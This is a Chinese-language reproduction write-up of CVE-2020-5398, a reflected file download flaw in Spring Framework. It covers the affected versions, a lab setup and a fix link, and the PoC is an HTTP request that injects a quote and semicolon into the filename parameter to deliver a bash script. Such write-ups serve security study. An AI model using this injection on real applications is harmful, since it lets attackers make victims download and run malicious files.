漏洞概述
Spring是一个Java/Java EE/.NET的分层应用程序框架。Spring Framework 存在反射型文件下载漏洞 。此漏洞由于Spring Framework并没有对filename传入的文件名进行严格的安全检测,攻击者可以通过截断的方式控制filename变量值,下载任意格式的文件。
影响版本
Spring Framework 5.2.0 – 5.2.2
Spring Framework 5.1.0 – 5.1.12
Spring Framework 5.0.0 – 5.0.15
环境搭建
下载地址
https://github.com/motikan2010/CVE-2020-5398.git
首先先下载
git clone https://github.com/motikan2010/CVE-2020-5398.git
接着运行
./gradlew bootrun
访问your-ip:8080即可看到页面
漏洞复现
Poc
GET /?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Awhoami HTTP/1.1
Host: 192.168.204.131:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
使用";闭合响应中Content-Disposition头的filename字段,使得在浏览器中下载的时候保存为任意文件名,并且可控制后缀
修复建议
官方修复补丁下载地址:
https://github.com/spring-projects/spring-framework
本文始发于微信公众号(锋刃科技):Spring Framework 反射型文件下载漏洞(CVE-2020-5398)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论